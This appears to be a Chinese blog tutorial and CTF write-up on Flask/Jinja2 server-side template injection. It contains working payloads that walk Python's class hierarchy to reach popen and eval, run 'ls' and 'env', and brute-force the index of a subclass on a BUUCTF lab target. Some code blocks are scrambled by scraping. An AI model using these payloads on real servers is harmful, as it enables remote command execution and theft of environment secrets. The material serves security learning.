ssti模板注入
flask框架
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。我们可以使用flask框架来快速搭建web
flak框架基础代码
1 |
|
代码解析
route路由
使用@app.route(‘/‘)来定义路由,路由分为静态路由与动态路由,静态路由如@app.route('/lll')
只有搜索/lll才会触发
动态路由如@app.route('/<name>')
通过<>在/后插入变量name只要访问/加上任意字符即可触发
当路由触发时会执行路由下定义好的函数,动态路由可以将路由的参数传到函数中如1
2
3
4
#动态路由
def hello2(name):
return "hello %s" % name
会将/后的作为参数传送到hell2(name)函数的name里,这使用函数返回hello name,会直接返回到web里如下
http方法,redirect重定向,render_template
GET和post方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from flask import Flask, render_template, request, redirect, url_for
app = Flask(__name__)
def index():
return render_template('index.html')#返回html相当于直接返回index.html这个模板
#传参模式为post和get
def login_page():
if request.method == 'POST':
name=request.form['lss']
return redirect(url_for('name', name1=name))#若为post则使用redirect重定向配合url_for将其定向到/name下,传递参数name1=name name1为/name/<name1>的参数name1
else:
name=request.args.get('lss')
return redirect(url_for('name', name1=name))
#接收redirect传来的参数name1
def name(name1):
return "hello %s" %name1
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0')
1 | #index.html |
Redirect重定向相当于页面跳转
flask模板
1 | from flask import Flask, render_template, request, redirect, url_for |
1 | <html lang="en"> |
上面所书写的便是模板,模板就是我们个人写在templates文件夹下的html文件。所谓模板就是一个html文件占位符,可以直接将参数传入文件的占位符里。以达到动态显示的目的。
html文件内写的{{int}}
就是占位符,我们可以利用render_template向html传入参数。传入的参数num是由get传入的我们传入的不同输出的也不同。
flask模板漏洞
模板注入的成因和之前学过的漏洞成因相似都是因为其过滤不严导致的漏洞。具体如下
上图是使用上面的代码所运行的结果,利用的是render_templaste可以看出我们输入1*1
输出还是1*1
这是因为会先将内部的变量进行预渲染,使其变量成为单纯的字符串也就是转义了导致其失去了功能性,也就不存在ssti漏洞。
由于上面的代码的html文件中占位符都是由{{}}
所包裹所以保持原样输出。
这个代码我们可以看到其是使用render_template_string()这个函数与render_template()在功能上相差无几只是render_template_string()这个函数是使用字符串作为参数,将字符串作为模板渲染,而render_template()是将文件作为模板进行渲染。
由于其与render_template()无太大差别我们可以很轻松的看出其也木有ssti漏洞因为其占位符仍是由{{}}
来包裹
下面为出现漏洞的代码
我们可以看到其是使用{0}加上format()
来进行直接插入的这样就导致了其不会进行预渲染,就会使其产生ssti漏洞。
当我们使用get传值传入{{1*1}}
是就会返回1。我们输入的1*1
被执行了。
我们也可以输入JavaScript的指令,我们可以发现其也存在xss漏洞
当然xss漏洞还不是造成危害最大的,这个ssti漏洞还会被利用为信息泄露,任意文件读取,RCE等漏洞,
补充
Jinja2模板引擎中使用{{}}
标识符包裹的内容会被解析成一个表达式,并且会在服务器端进行求值和渲染。如果使用{{}}
中包含的是可执行的命令语句;此时这个命令语句会被执行;所以此时我们加上{{}}
标识符的目的就是为了使得被{{}}
包裹的内容当作变量来解析替换。
父类与子类
所谓父类就是这个类的上一级而子类就是该类的下一级,所以类的父类不断的向上找父类最终会找到object这一类,我们就可以利用object的子类来进行操作。1
2
3
4
5
6
7
8
9
10
11
12
13
14class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=B()
d=D()
print(c.__class__.__base__)#查找c的父类
print(c.__class__.__base__.__base__)#查找c父类的父类
print(d.__class__.__mro__)#不断查找c的父类直到object
print(d.__class__.__mro__[3])#选择查找父类结果的第4个
print(c.__class__.__base__.__base__.__subclasses__())#查找父类的父类下的所有子类
print(c.__class__.__base__.__base__.__subclasses__()[0])#选择第一个
1 | 输出结果 |
魔术方法
1 | __class__#查找该类为什么 |
1 | __subclasses__()查看当前类的子类,格式变量.__class__.__bases__[0].__subclasses__() |
payload构造步骤
1.寻找内置类所对应的类
使用class来获取内置类所对应的类;可以使用str、dict、tuple、list进行获取也就是可以将单引号改为""
,[]
,{}
1
{{''.__class__}}
2.找到object
利用魔术方法__base__
,__mro__
来寻找1
2{{''.__class__.__base__}}#base要多个直到找到object为止
{{''.__class__.__mro__[xxx]}}#选择最后一个父类的索引
3.查找object下的所有子类
1 | {{''.__class__.__mro__[xxx].__subclasses()__}} |
4.选择可以getshell的类
常用的为os._wrap_close1
{{''.__class__.__mro__[xxx].__subclasses__()[xxx]}}
5.调用getshell指令
我们将类进行初始化在查看器下面的所有方法1
{{"".__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__}}
在方法里面直接寻找popen,eval等
1 | {{"".__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['popen']('ls').read()}} |
使用模块builtins来进行
1 | {{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} |
buuctf [flask]ssti
我们打开靶机,在url上输入?name=49回显49发现ssti漏洞
我们输入1
?name={{__class__.__base__.__subclasses__()}}
打开源码ctrl+f搜索os._wrap_close发现存在这个类我们可以利用以下脚本来寻找该类的位置1
2
3
4
5
6import requests
for i in range(500):
url="http://node5.buuoj.cn:29862/?name={{%27%27.__class__.__base__.__subclasses__()["+str(i)+"]}}"
r=requests.get(url=url)
if 'os._wrap_close' in r.text:
print(i)
输出117
我们输入以下内容1
?name={{__class__.__base__.__subclasses__()[117].__init__.__globals__}}
同样搜索popen方法查看是否存在,
其flag是存在于环境变量里,以下payload。1
http://node5.buuoj.cn:29862/?name={{%27%27.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('env').read()}}
除了上面的还有以下1
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('env').read()")}}
常用模板
类的知识总结(转载)
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
常见过滤器(转载)
1 | 常用的过滤器 |